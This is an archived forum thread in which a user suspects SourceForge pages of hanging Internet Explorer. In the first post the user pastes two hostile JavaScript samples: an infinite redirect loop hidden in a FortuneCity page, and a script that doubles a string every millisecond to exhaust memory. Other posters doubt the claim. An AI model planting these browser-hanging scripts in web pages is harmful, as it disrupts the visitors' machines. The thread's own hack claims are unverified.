Virus, CPU killer, Memory Eater on Sourceforge.net?

  • Thread starter Public Interest
  • Start date
P

Public Interest

I am not sure it is my problem or a general problem. Last week, there was a
hack on changing your DNS record on your PC via IE. The hackers use banners
on forturncity, a free web hosting company to do that. It seems to me
somebody hacked to sourceforge now. I went to
http://sourceforge.net/projects/ayttm/ or
http://sourceforge.net/projects/miranda-icq/

Then my CPU usage is at 100%. Memory is OK. Can anyone look into this? How
do I know what in IE is killer my CPU? A javascript or something? I found
two scripts doing that online, but not sure if sourceforge is having any of
it. I understand the second trick, but not the first hanging trick


1:hangs IE
<html>
<head>
<title>The Nasty Javascript Tricks: Stop your Browser</title>
</head>
<body onUnload="spawntopfivewindow();"
background="images/bg1.gif" bgcolor="#000000"
text="#FFFFFF" link="#336699" vlink="#336699" alink="#666666">
<center>
<script language="Javascript">
<!-- hide

document.write('<font size=-3><img
src="http://www.fortunecity.com/banners/track1.gif" height=1 width=1%
border="0" name="FCimg11bnr" hspace=0 vspace=0>');
document.write('<img src="http://www.fortunecity.com/banners/foo.gif"
height=1% width=1 border="0" name="FCimg12bnr" hspace=0 vspace=0><br
clear=all></font>');

// -->
</script>

<script language="Javascript"
src="http://www.fortunecity.com/timstuff/adscript.global.new.js">
</script>

<table id=fcnavbartable style="visibility:hidden" cellpadding=0
cellspacing=0 border=0 width=730>
<tr align=center id=fcnavbartablerow>
<td>
<table cellpadding=0 cellspacing=0 border=0 width="100%">
<form name="searchForm"
action="http://search.fortunecity.com:8080/findwhatSearchBox.jsp"
method="post" onSubmit="return IsEmpty(document.searchForm.searchterm);"
target="_blank">
<input type="hidden" name="css" value="fc">
<tr align=center>
<td width="3%"><a id="fcnavlogo" href="http://www.fortunecity.com"
target="_new"><img
src="http://www.fortunecity.com/images/fclogo_inline_new.gif" alt="web
hosting, domain name, free web site, email address" width="120" height="15"
border="0"></a></td>
<td width="22%"><a id="fcnavhosting" href="http://www.fortunecity.com/"
style="font-family:Verdana,sans-serif;font-size:11px;" target="_new">web
hosting</a></td>
<td width="24%"><a id="fcnavdomains" href="http://www.fortunecity.com/"
style="font-family:Verdana,sans-serif;font-size:11px;" target="_new">domain
names</a></td>
<td width="26%"><a id="fcnavemail" href="http://home.v3.com/"
style="font-family:Verdana,sans-serif;font-size:11px;" target="_new">email
addresses</a></td>
<td width="2%"><img id="fcnavsrchgif"
src="http://www.fortunecity.com/images/nb_search_new.gif" alt="search"
width="55" height="15" border="0"></td>
<td width="21%" id="fcnavsearch"><input type="text" name="searchterm"
maxlength=100 style="border: 1px solid
#000000;width:100%;height:15px;font-family:Verdana, Arial, Helvetica,
Sans-Serif;font-size:11px;" value="-enter search term-"
onfocus="this.value=''; return true;"></td>
<td width="2%" id="fcnavsrchsub"><input type="image"
src="http://www.fortunecity.com/images/nb_go_search.gif" width="30"
height="15" alt="GO"></td></tr>
</form>
</table>
</td>
</tr>
</table>

<script language="Javascript">
<!-- hide

FCLocale = 'unknown';

DefineDefaultVars();


DisplayFCAdBanner();

// -->
</script>

<table id="fcnavbartable2" style="visibility:hidden" cellpadding=0
cellspacing=0 border=0 width="730">
<tr><td><iframe id="fcpopular"
src="http://www.fortunecity.com/banners/popular.html" width="100%"
height="15" align="center" frameborder="no" border="0" scrolling="no"
marginwidth="0" marginheight="0"></iframe></td>
</tr></table>

</center>


<script language="Javascript">
<!--

fc_color_string = 'bgcolor=' + document.bgColor + '&' +
'fgcolor=' + document.fgColor + '&' +
'linkcolor=' + document.linkColor + '&' +
'alinkcolor=' + document.alinkColor + '&' +
'vlinkcolor=' + document.vlinkColor;

document.getElementById('fcpopular').src =
document.getElementById('fcpopular').src + '?' + escape(fc_color_string);

FCNavbarResize();

// -->
</script>






<!-- BEGIN INTERNET LINK EXCHANGE CODE -->
<p align="center"><a
href="http://ad.linkexchange.com/6/X116511/gotoad.map"
target="_TOP"><img
src="http://ad.linkexchange.com/6/X116511/logoshowad?free"
alt="Internet Link Exchange" align="bottom" border="0" ismap></a> <!--
END INTERNET LINK EXCHANGE CODE --><script language="JavaScript"> <!--
{while(true)window.location='http://WW.What.the.****.is.this'}
// --></script> </p>
<script language="Javascript">
<!--hide

var my_clientip = '129.1.1.1';

if (document.getElementById('userIP') != null) {

document.getElementById('userIP').value = my_clientip;
}

setonclickmethods();


// -->
</script>

<center>
<div id="fclinkback" style="visibility:hidden"><p>
<font face="Verdana, Helvetica, Arial, sans-serif" size=1><a
id="fcfootergif" href="http://www.fortunecity.com/" target="_new"><img
src="http://www.fortunecity.com/images/fc_logo_white122x30.gif"
border=0></a><br><a id="fcfooterhosting" href="http://www.fortunecity.com/"
target="_new">web hosting</a> &bull; <a id="fcfooterdomains"
href="http://www.fortunecity.com/" target="_new">domain names</a><br>Powered
by <a href="http://www.ampira.com" target="_new">Ampira</a></font>
</p></div>
</center>

<script language="Javascript">
<!--

if(FrameisBigEnough == 1) {

document.getElementById('fclinkback').style.visibility = "visible";
document.getElementById('fcfootergif').search = '?sid=fcfootergif';
document.getElementById('fcfooterhosting').search = '?sid=fcfooterhosting';
document.getElementById('fcfooterdomains').search = '?sid=fcfooterdomains';

}

// -->
</script>

</body>
</html>

2:Eating your memory
<html><body onload="hello()">
<script language="JavaScript"><!--
var hi="comp.lang.perl.misc"
function hello()
{hi=hi + hi
window.status=" "
window.setTimeout('hello()',1);}
// --></script>
</body>
</html>
 
S

Sam Holden

D

Dave Saville

I am not sure it is my problem or a general problem. Last week, there was a
hack on changing your DNS record on your PC via IE. The hackers use banners
on forturncity, a free web hosting company to do that. It seems to me

Do you have any pointers to this? I have a friend who I think has been
hit.

Thanks.

Regards

Dave Saville

NB switch saville for nospam in address
 
J

James Willmore

Public Interest said:
I am not sure it is my problem or a general problem. Last week, there was a
hack on changing your DNS record on your PC via IE. The hackers use banners
on forturncity, a free web hosting company to do that. It seems to me
somebody hacked to sourceforge now. I went to
http://sourceforge.net/projects/ayttm/ or
http://sourceforge.net/projects/miranda-icq/
<snip>

And this has what to do with Perl? Oh, I get it, you wanted to make
everyone aware of, what, a new crack? Thanks, but I get my security
advisories from reliable sources, than you very much :)

Now that you mention it, did you notify SourceForge _before_ posting
what ever it was you posted? If not, this was a _very_ bad move on
your part. Shame on you.

And did you, maybe, scan your system to see if you contracted the
latest "Microsoft bug of the week"? Maybe the site wasn't cracked,
but your PC.

Jim
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Members online

Forum statistics

Threads
474,141
Messages
2,570,814
Members
47,360
Latest member
kathdev

Latest Threads

Top